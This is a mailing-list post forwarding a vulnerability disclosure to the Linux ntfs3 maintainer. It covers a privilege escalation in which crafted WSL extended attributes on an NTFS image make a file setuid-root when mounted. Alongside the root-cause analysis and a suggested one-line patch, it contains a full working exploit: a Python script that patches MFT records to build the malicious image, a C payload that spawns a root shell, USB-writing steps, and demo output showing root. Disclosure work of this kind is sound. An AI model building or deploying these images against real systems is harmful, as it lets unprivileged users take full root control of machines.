Fwd: InjectionBunny: NTFS3 SUID injection leading to local privilege escalation

vova tokarev <[email protected]>
Newsgroups dev.linux.lists.ntfs3
Message-ID <CAGBKPgPiXyKWtjgYSACnugmG1XPs=mPg-Zu-xQziUZ1k921+qA@mail.gmail.com>
Hi,

It's been almost two months since I reported this, and I haven't heard
back. I recently learned I should reach out to the subsystem maintainer
directly, so forwarding this to you.

I noticed that CVE-2026-63833 (commit f8d420949b33) was assigned and
merged for a related issue -- blocking setxattr() writes to $LX*
names. However, this only fixes one of the two attack vectors I
reported. The primary vector in my original report remains open:

A pre-crafted NTFS image (e.g. USB drive) with $LXUID=0, $LXGID=0,
$LXMOD=0104755 already in the MFT produces a setuid-root binary the
moment the volume is mounted. No setxattr() is involved -- the EAs
are on disk. The -EPERM check doesn't help.

The root cause is still at fs/ntfs3/xattr.c:1022:

    inode->i_mode = le32_to_cpu(value[2]);

This loads S_ISUID/S_ISGID directly from untrusted on-disk data.
Desktop automounters (udisks) mount NTFS with suid by default, so
plugging in a crafted USB gives any local user euid=0.

Suggested one-line fix:

-   inode->i_mode = le32_to_cpu(value[2]);
+   inode->i_mode = le32_to_cpu(value[2]) & ~(S_ISUID | S_ISGID);

I have a full PoC and working demo (included in my original report
below). Would love to hear your thoughts.

Thanks,
Vladimir

---------- Forwarded message ---------
From: vova tokarev <[email protected]>
Date: Thu, Jun 25, 2026 at 2:18 PM
Subject: InjectionBunny: NTFS3 SUID injection leading to local privilege
escalation
To: <[email protected]>


Hi,

I found a local privilege escalation (InjectionBunny) in the ntfs3
filesystem driver. The function ntfs_get_wsl_perm() in fs/ntfs3/xattr.c
assigns the on-disk $LXMOD extended attribute directly to inode->i_mode
without masking S_ISUID or S_ISGID bits.

A crafted NTFS image (e.g., on a USB drive) with $LXUID=0, $LXGID=0,
$LXMOD=0104755 on a binary makes it appear as a setuid-root executable
when mounted. Executing the binary gives immediate root access.

The attack is deterministic (no race condition, no heap spray), works
on first attempt, and affects every Linux system with CONFIG_NTFS3_FS
that mounts NTFS volumes without the nosuid option.

The same pattern exists in the old ntfs driver (fs/ntfs/ea.c function
ntfs_ea_get_wsl_inode).

Affected versions: Linux 4.11+ (since ntfs3 WSL EA support)
Confirmed on: 7.1.0 (aarch64)

Attached files:
  - InjectionBunny.mov             Video demo of full exploit
  - injection_bunny.py             Creates malicious NTFS image
  - suidhelper.c                   SUID payload (setuid(0) + shell)
  - InjectionBunny_report.md       Detailed writeup with root cause,
                                   reproduction, and suggested fix

Suggested fix: mask S_ISUID/S_ISGID in ntfs_get_wsl_perm():
  inode->i_mode = le32_to_cpu(value[2]) & ~(S_ISUID | S_ISGID);

Thank you,
Vladimir Tokarev
InjectionBunny_report.md (text/markdown, 5.6 KB)
# InjectionBunny: NTFS3 SUID Injection LPE

## Summary

A local privilege escalation vulnerability exists in the Linux kernel's ntfs3
filesystem driver. The function `ntfs_get_wsl_perm()` in `fs/ntfs3/xattr.c`
reads the `$LXMOD` extended attribute from NTFS on-disk data and assigns it
directly to `inode->i_mode` without masking `S_ISUID` or `S_ISGID` bits.

An attacker can craft an NTFS filesystem image containing a binary with
`$LXUID=0` (root), `$LXGID=0` (root), and `$LXMOD=0104755`
(S_ISUID | S_IFREG | 0755). When this image is mounted (e.g., via USB
automount), the binary appears as a setuid-root executable. Any unprivileged
user who runs it obtains `euid=0` and full root privileges.

This attack is deterministic (no race, no heap spray), works on first attempt,
and requires only physical access to plug in a USB drive (or ability to mount
a loop device).

## Affected Versions

- Linux 4.11+ (since ntfs3 WSL EA support)
- The same pattern exists in both `fs/ntfs3/xattr.c` and `fs/ntfs/ea.c`
- Confirmed on Linux 7.1.0 (aarch64)
- All architectures affected (bug is in generic filesystem code)

## Affected Distributions

Every Linux distribution with `CONFIG_NTFS3_FS` enabled (most modern distros):
- Ubuntu 22.04+, Debian 12+, Fedora 36+, RHEL 9+, SUSE 15.4+, Arch Linux
- Any system that automounts NTFS USB drives

## Root Cause

In `fs/ntfs3/xattr.c`, function `ntfs_get_wsl_perm()` at line 1032:

```c
void ntfs_get_wsl_perm(struct inode *inode)
{
    __le32 value[3];

    if (ntfs_get_ea(inode, "$LXUID", ..., &value[0], ...) == sizeof(value[0]) &&
        ntfs_get_ea(inode, "$LXGID", ..., &value[1], ...) == sizeof(value[1]) &&
        ntfs_get_ea(inode, "$LXMOD", ..., &value[2], ...) == sizeof(value[2])) {
        i_uid_write(inode, (uid_t)le32_to_cpu(value[0]));
        i_gid_write(inode, (gid_t)le32_to_cpu(value[1]));
        inode->i_mode = le32_to_cpu(value[2]);  // NO MASK
    }
}
```

The raw on-disk `$LXMOD` value is assigned directly to `inode->i_mode` with
no sanitization.

The same vulnerability exists in the old ntfs driver at `fs/ntfs/ea.c` line
390 in `ntfs_ea_get_wsl_inode()`.

## Proof of Concept

### Step 1: Attacker prepares the malicious USB drive (on attacker's machine)

```bash
# Compile the payload binary (must be static, for target architecture)
gcc -static -O2 -o suidhelper suidhelper.c

# Create the NTFS image with injected SUID permissions
python3 injection_bunny.py evil_usb.img ./suidhelper

# Write to a physical USB drive
dd if=evil_usb.img of=/dev/sdX bs=4M
```

`injection_bunny.py` creates a minimal NTFS image by formatting with
`mkfs.ntfs`, then patching raw MFT (Master File Table) records to inject
`$LXUID=0`, `$LXGID=0`, `$LXMOD=0104755` extended attributes on the
payload binary. These are Windows Subsystem for Linux (WSL) extended
attributes that the Linux ntfs3 driver reads and trusts during inode
initialization.

### Step 2: Victim plugs in the USB drive

The Linux desktop automounts the NTFS drive (via udisks/udev). The kernel's
ntfs3 driver reads the crafted WSL EAs and sets `inode->i_mode = 0104755`,
making the binary appear as `-rwsr-xr-x root root` (setuid root).

No user interaction required beyond plugging in the drive.

### Step 3: Any unprivileged user executes the binary

```bash
/media/victim/USBDRIVE/pwn
```

The kernel grants `euid=0` because the SUID bit is set and the file is
owned by root (from `$LXUID=0`). The payload calls `setuid(0)` +
`execve("/bin/sh")` and drops into a root shell.

### Demo Output (from QEMU test environment)

```
~ $ whoami
victim

~ $ id
uid=1000(victim) gid=1000(victim)

~ $ ls -la /mnt/usb/pwn
-rwsr-xr-x    1 root     root        706400 /mnt/usb/pwn

~ $ ./exploit
[>] Mounting crafted NTFS image...
[>] Mounted at /mnt/usb
[>] File: /mnt/usb/pwn mode=4755 uid=0
[>] Dropping to uid=1000...
[>] Running as uid=1000 gid=1000
[>] Executing /mnt/usb/pwn ...

[>] uid=0 euid=0 gid=0
[>] Got root.

/home/victim # whoami
root
```

## Impact

- **Confidentiality**: Full system access as root
- **Integrity**: Arbitrary file modification, kernel module loading
- **Availability**: System compromise

CVSS 3.1: **6.8** (AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)

Note: AV:P (Physical) because the primary attack vector is a crafted USB
drive. If the attacker can mount loop devices, this becomes AV:L.

## Prerequisites

- `CONFIG_NTFS3_FS=y` or `=m` (enabled in most modern distros)
- NTFS volume mounted without `nosuid` option
- Physical access (USB) or ability to mount loop devices

## Suggested Fix

Mask dangerous permission bits when loading WSL EAs:

```c
- inode->i_mode = le32_to_cpu(value[2]);
+ inode->i_mode = le32_to_cpu(value[2]) & ~(S_ISUID | S_ISGID);
```

The same fix should be applied to `fs/ntfs/ea.c`.

## Test Environment

- **Kernel**: Linux 7.1.0 (tag v7.1)
- **Architecture**: aarch64 (ARM64)
- **VM**: QEMU aarch64 with HVF acceleration, 4GB RAM, 4 CPUs

## Reproduction Steps

1. Compile the payload: `gcc -static -O2 -o suidhelper suidhelper.c`
2. Create the image: `python3 injection_bunny.py evil_usb.img ./suidhelper`
   (requires `mkfs.ntfs` from ntfs-3g package)
3. Write to USB: `dd if=evil_usb.img of=/dev/sdX bs=4M`
4. Plug USB into target Linux machine
5. As any unprivileged user: `/media/<user>/USBDRIVE/pwn`
6. Result: root shell

## Files

- `InjectionBunny.mov` - Video demo of the full exploit (victim to root)
- `injection_bunny.py` - Runs on attacker's machine. Creates the malicious
  NTFS image by formatting with mkfs.ntfs and patching raw MFT records to
  inject WSL EAs ($LXUID=0, $LXGID=0, $LXMOD=0104755)
- `suidhelper.c` - The payload binary that gets embedded in the NTFS image.
  When executed with euid=0 (from the SUID bit), it calls setuid(0) +
  execve("/bin/sh") to drop into a root shell
injection_bunny.py (text/x-python, 14.2 KB)
#!/usr/bin/env python3
"""
InjectionBunny - NTFS3 SUID Injection LPE

Creates a malicious NTFS filesystem image. When this image is mounted
(e.g., from a USB drive), a binary on it appears as setuid-root.
Running it gives an interactive root shell.

Usage:
    python3 injection_bunny.py [--helper /path/to/suidhelper] [--output evil_usb.img]
"""

import struct
import subprocess
import sys
import os
import shutil
import tempfile

# NTFS constants
MFT_RECORD_SIZE = 1024
SECTOR_SIZE = 512
ATTR_TYPE_EA = 0xE0
ATTR_TYPE_EA_INFO = 0xD0
ATTR_TYPE_END = 0xFFFFFFFF
FILE_RECORD_MAGIC = b'FILE'

# WSL EA values
LXUID_VALUE = struct.pack('<I', 0)        # uid=0 (root)
LXGID_VALUE = struct.pack('<I', 0)        # gid=0 (root)
LXMOD_VALUE = struct.pack('<I', 0o104755) # S_IFREG | S_ISUID | 0755 = 0x89ED


def build_ea_entry(name: bytes, value: bytes, next_offset: int = 0) -> bytes:
    """Build a single NTFS EA entry."""
    # EA entry format:
    #   4 bytes: NextEntryOffset (0 for last, offset to next entry from start of this one)
    #   1 byte: Flags (0)
    #   1 byte: EaNameLength (not counting null terminator)
    #   2 bytes: EaValueLength
    #   N bytes: EaName (null-terminated)
    #   M bytes: EaValue
    #   Padding to 4-byte boundary
    name_len = len(name)
    value_len = len(value)
    
    entry = struct.pack('<I', 0)  # NextEntryOffset (will be patched)
    entry += struct.pack('<B', 0)  # Flags
    entry += struct.pack('<B', name_len)  # EaNameLength
    entry += struct.pack('<H', value_len)  # EaValueLength
    entry += name + b'\x00'  # Name + null terminator
    entry += value
    
    # Pad to 4-byte boundary
    while len(entry) % 4 != 0:
        entry += b'\x00'
    
    return entry


def build_ea_attribute(entries: list) -> bytes:
    """Build complete list of EA entries with correct NextEntryOffset values."""
    built_entries = []
    for name, value in entries:
        built_entries.append(build_ea_entry(name, value))
    
    # Now fix NextEntryOffset for all except the last
    result = b''
    for i, entry in enumerate(built_entries):
        if i < len(built_entries) - 1:
            # Patch NextEntryOffset to point to next entry
            offset = len(entry)
            entry = struct.pack('<I', offset) + entry[4:]
        result += entry
    
    return result


def build_resident_attr(attr_type: int, data: bytes, name: bytes = b'') -> bytes:
    """Build a resident NTFS attribute header + data."""
    # Attribute header for resident:
    #   4 bytes: Type
    #   4 bytes: Length (total including header)
    #   1 byte: Non-resident flag (0 = resident)
    #   1 byte: Name length (in chars)
    #   2 bytes: Name offset
    #   2 bytes: Flags
    #   2 bytes: Instance
    #   4 bytes: Value length
    #   2 bytes: Value offset
    #   1 byte: Indexed flag
    #   1 byte: Padding
    
    name_len = len(name) // 2  # UTF-16 chars
    header_size = 24  # Fixed header size for resident attr
    name_offset = header_size if name_len > 0 else 0
    value_offset = header_size + len(name)
    # Align value to 8 bytes
    while value_offset % 8 != 0:
        value_offset += 1
    
    total_len = value_offset + len(data)
    # Align total to 8 bytes
    while total_len % 8 != 0:
        total_len += 1
    
    header = struct.pack('<I', attr_type)
    header += struct.pack('<I', total_len)
    header += struct.pack('<B', 0)  # Resident
    header += struct.pack('<B', name_len)
    header += struct.pack('<H', name_offset if name_len else header_size)
    header += struct.pack('<H', 0)  # Flags
    header += struct.pack('<H', 0)  # Instance
    header += struct.pack('<I', len(data))  # Value length
    header += struct.pack('<H', value_offset)  # Value offset
    header += struct.pack('<B', 0)  # Indexed
    header += struct.pack('<B', 0)  # Padding
    
    # Add name if any
    attr = header + name
    # Pad to value offset
    while len(attr) < value_offset:
        attr += b'\x00'
    attr += data
    # Pad to total length
    while len(attr) < total_len:
        attr += b'\x00'
    
    return attr


def build_ea_info_data(ea_data: bytes) -> bytes:
    """Build EA_INFORMATION attribute data.
    
    EA_INFORMATION (0xD0):
      2 bytes: PackedEaSize (size of packed EA list)
      2 bytes: NeedEaCount
      4 bytes: UnpackedEaSize
    """
    packed_size = len(ea_data)
    return struct.pack('<HHI', packed_size, 0, packed_size)


def fixup_mft_record(record: bytearray) -> bytearray:
    """Apply NTFS fixup (update sequence) to an MFT record."""
    # Read the update sequence offset and count from the record header
    usa_offset = struct.unpack_from('<H', record, 4)[0]
    usa_count = struct.unpack_from('<H', record, 6)[0]
    
    # The first entry in the USA is the update sequence number
    usn = struct.unpack_from('<H', record, usa_offset)[0]
    
    # For each sector in the record, restore the last 2 bytes from USA
    # and set the last 2 bytes to the USN
    # Actually for WRITING, we need to:
    # 1. Save the last 2 bytes of each sector into the USA array
    # 2. Write the USN into the last 2 bytes of each sector
    
    usn_new = (usn + 1) & 0xFFFF
    if usn_new == 0:
        usn_new = 1
    
    struct.pack_into('<H', record, usa_offset, usn_new)
    
    for i in range(1, usa_count):
        sector_end = i * SECTOR_SIZE - 2
        # Save original last 2 bytes into USA
        orig = struct.unpack_from('<H', record, sector_end)[0]
        struct.pack_into('<H', record, usa_offset + i * 2, orig)
        # Write USN at sector end
        struct.pack_into('<H', record, sector_end, usn_new)
    
    return record


def undo_fixup(record: bytearray) -> bytearray:
    """Undo NTFS fixup to get raw record content."""
    usa_offset = struct.unpack_from('<H', record, 4)[0]
    usa_count = struct.unpack_from('<H', record, 6)[0]
    
    for i in range(1, usa_count):
        sector_end = i * SECTOR_SIZE - 2
        # Restore from USA
        orig = struct.unpack_from('<H', record, usa_offset + i * 2)[0]
        struct.pack_into('<H', record, sector_end, orig)
    
    return record


def find_mft_offset(img_path: str) -> int:
    """Find the byte offset of the MFT in the NTFS image."""
    with open(img_path, 'rb') as f:
        # Read boot sector
        boot = f.read(512)
        # Bytes per sector at offset 0x0B (2 bytes)
        bytes_per_sector = struct.unpack_from('<H', boot, 0x0B)[0]
        # Sectors per cluster at offset 0x0D (1 byte)
        sectors_per_cluster = struct.unpack_from('<B', boot, 0x0D)[0]
        # MFT cluster number at offset 0x30 (8 bytes)
        mft_cluster = struct.unpack_from('<Q', boot, 0x30)[0]
        
        cluster_size = bytes_per_sector * sectors_per_cluster
        mft_offset = mft_cluster * cluster_size
        
        print(f"  Bytes/sector: {bytes_per_sector}")
        print(f"  Sectors/cluster: {sectors_per_cluster}")
        print(f"  Cluster size: {cluster_size}")
        print(f"  MFT cluster: {mft_cluster}")
        print(f"  MFT offset: {mft_offset} (0x{mft_offset:x})")
        
    return mft_offset


def find_file_record(img_path: str, mft_offset: int, filename: str) -> int:
    """Find MFT record number for a given filename by scanning MFT entries."""
    target = filename.encode('utf-16-le')
    
    with open(img_path, 'rb') as f:
        # Scan MFT records (start from record 24+ which is where user files start)
        for rec_num in range(24, 256):
            offset = mft_offset + rec_num * MFT_RECORD_SIZE
            f.seek(offset)
            record = bytearray(f.read(MFT_RECORD_SIZE))
            
            if record[:4] != FILE_RECORD_MAGIC:
                continue
            
            # Undo fixup to read attributes
            record = undo_fixup(record)
            
            # Check if this record contains our filename
            if target in record:
                print(f"  Found '{filename}' at MFT record {rec_num} (offset 0x{offset:x})")
                return rec_num
    
    return -1


def inject_ea_into_record(img_path: str, mft_offset: int, rec_num: int, ea_data: bytes):
    """Inject EA attribute into an MFT record."""
    offset = mft_offset + rec_num * MFT_RECORD_SIZE
    
    with open(img_path, 'r+b') as f:
        f.seek(offset)
        record = bytearray(f.read(MFT_RECORD_SIZE))
    
    if record[:4] != FILE_RECORD_MAGIC:
        raise ValueError(f"Invalid MFT record at offset 0x{offset:x}")
    
    # Undo fixup
    record = undo_fixup(record)
    
    # Parse record header
    # Offset 0x14: first attribute offset
    first_attr_offset = struct.unpack_from('<H', record, 0x14)[0]
    # Offset 0x18: real size of record (used bytes)
    used_size = struct.unpack_from('<I', record, 0x18)[0]
    
    print(f"  Record first_attr_offset: {first_attr_offset}")
    print(f"  Record used_size: {used_size}")
    
    # Walk attributes to find the END marker
    pos = first_attr_offset
    last_attr_end = pos
    
    while pos < used_size - 8:
        attr_type = struct.unpack_from('<I', record, pos)[0]
        if attr_type == ATTR_TYPE_END:
            break
        attr_len = struct.unpack_from('<I', record, pos + 4)[0]
        if attr_len == 0 or attr_len > MFT_RECORD_SIZE:
            break
        last_attr_end = pos + attr_len
        pos += attr_len
    
    print(f"  END marker at offset {pos}")
    print(f"  Last attribute ends at {last_attr_end}")
    
    # Build EA_INFORMATION attribute (must come before EA)
    ea_info_data = build_ea_info_data(ea_data)
    ea_info_attr = build_resident_attr(ATTR_TYPE_EA_INFO, ea_info_data)
    
    # Build EA attribute
    ea_attr = build_resident_attr(ATTR_TYPE_EA, ea_data)
    
    # Check if there's enough space
    new_attrs_size = len(ea_info_attr) + len(ea_attr)
    available = MFT_RECORD_SIZE - pos - 8  # 8 for END marker + padding
    
    print(f"  EA_INFO attr size: {len(ea_info_attr)}")
    print(f"  EA attr size: {len(ea_attr)}")
    print(f"  Total new attrs: {new_attrs_size}")
    print(f"  Available space: {available}")
    
    if new_attrs_size + 8 > available:
        raise ValueError(f"Not enough space in MFT record! Need {new_attrs_size + 8}, have {available}")
    
    # Insert at pos (where END marker was)
    # Write EA_INFO, then EA, then END marker
    insert_pos = pos
    record[insert_pos:insert_pos + len(ea_info_attr)] = ea_info_attr
    insert_pos += len(ea_info_attr)
    record[insert_pos:insert_pos + len(ea_attr)] = ea_attr
    insert_pos += len(ea_attr)
    
    # Write END marker
    struct.pack_into('<I', record, insert_pos, ATTR_TYPE_END)
    struct.pack_into('<I', record, insert_pos + 4, 0)
    
    # Update used size in record header
    new_used = insert_pos + 8
    struct.pack_into('<I', record, 0x18, new_used)
    
    print(f"  New used size: {new_used}")
    
    # Apply fixup
    record = fixup_mft_record(record)
    
    # Write back
    with open(img_path, 'r+b') as f:
        f.seek(offset)
        f.write(record)
    
    print(f"  EA injected successfully!")


def create_ntfs_image(img_path: str, size_mb: int = 8):
    """Create a fresh NTFS image using mkfs.ntfs."""
    print(f"[*] Creating {size_mb}MB NTFS image: {img_path}")
    
    # Create empty file
    with open(img_path, 'wb') as f:
        f.seek(size_mb * 1024 * 1024 - 1)
        f.write(b'\x00')
    
    # Format as NTFS
    subprocess.run(['mkfs.ntfs', '-F', '-Q', '-s', '512', img_path],
                   check=True, capture_output=True)
    print(f"  NTFS image created")


def copy_file_to_ntfs(img_path: str, src_path: str, dst_name: str):
    """Copy a file into the NTFS image using ntfs-3g mount."""
    mount_point = tempfile.mkdtemp(prefix='ntfs_mount_')
    
    try:
        # Try mounting with ntfs-3g (FUSE)
        subprocess.run(['mount', '-t', 'ntfs-3g', '-o', 'loop,rw', img_path, mount_point],
                       check=True, capture_output=True)
        
        dst_path = os.path.join(mount_point, dst_name)
        shutil.copy2(src_path, dst_path)
        os.chmod(dst_path, 0o755)
        
        print(f"  Copied {src_path} -> {dst_name} in NTFS image")
        
        subprocess.run(['umount', mount_point], check=True, capture_output=True)
    except subprocess.CalledProcessError as e:
        print(f"  Mount/copy failed: {e.stderr.decode() if e.stderr else e}")
        # Try ntfscopy as fallback
        try:
            subprocess.run(['umount', mount_point], capture_output=True)
        except:
            pass
        try:
            subprocess.run(['ntfscp', img_path, src_path, dst_name],
                           check=True, capture_output=True)
            print(f"  Copied with ntfscp: {src_path} -> {dst_name}")
        except subprocess.CalledProcessError as e2:
            raise RuntimeError(f"Failed to copy file to NTFS: {e2}")
    finally:
        try:
            os.rmdir(mount_point)
        except:
            pass


def main():
    if len(sys.argv) < 3:
        print(f"Usage: {sys.argv[0]} <output.img> <binary_to_inject>")
        print(f"  Creates NTFS image with the binary having SUID root via $LXMOD EA")
        sys.exit(1)
    
    img_path = sys.argv[1]
    binary_path = sys.argv[2]
    target_name = "pwn"
    
    if not os.path.exists(binary_path):
        print(f"[-] Binary not found: {binary_path}")
        sys.exit(1)
    
    print("=" * 60)
    print("  InjectionBunny - Crafting malicious NTFS image")
    print("=" * 60)
    print()
    
    create_ntfs_image(img_path)
    
    print(f"\n[*] Embedding payload binary as '{target_name}'")
    copy_file_to_ntfs(img_path, binary_path, target_name)
    
    print(f"\n[*] Locating filesystem metadata")
    mft_offset = find_mft_offset(img_path)
    
    print(f"\n[*] Patching file record")
    rec_num = find_file_record(img_path, mft_offset, target_name)
    if rec_num < 0:
        print(f"[-] Could not find '{target_name}' in image!")
        sys.exit(1)
    
    print(f"\n[*] Injecting setuid-root permissions into image metadata")
    
    ea_entries = [
        (b'$LXUID', LXUID_VALUE),
        (b'$LXGID', LXGID_VALUE),
        (b'$LXMOD', LXMOD_VALUE),
    ]
    ea_data = build_ea_attribute(ea_entries)
    
    inject_ea_into_record(img_path, mft_offset, rec_num, ea_data)
    
    print(f"\n[+] InjectionBunny image ready: {img_path}")
    print(f"[+] Write to USB drive or mount with: mount -t ntfs3 -o loop {img_path} /mnt")
    print(f"[+] Then run /mnt/{target_name} to get root shell")
    print()


if __name__ == '__main__':
    main()
suidhelper.c (text/x-c-code, 377 B)
#include <unistd.h>
#include <stdio.h>

int main(void)
{
    setgid(0);
    setuid(0);

    printf("[>] uid=%d euid=%d gid=%d\n", getuid(), geteuid(), getgid());
    printf("[>] Got root.\n\n");

    char *argv[] = { "sh", NULL };
    char *envp[] = { "PATH=/bin:/sbin:/usr/bin:/usr/sbin", "HOME=/root", "TERM=linux", NULL };
    execve("/bin/sh", argv, envp);
    return 1;
}
InjectionBunny.mov (video/quicktime, 717.4 KB) - not displayed
lmpx.com only provides a reader for public news (NNTP) servers. It is not affiliated with the servers or forums shown here and is not responsible for the content of articles, which is written by their respective authors.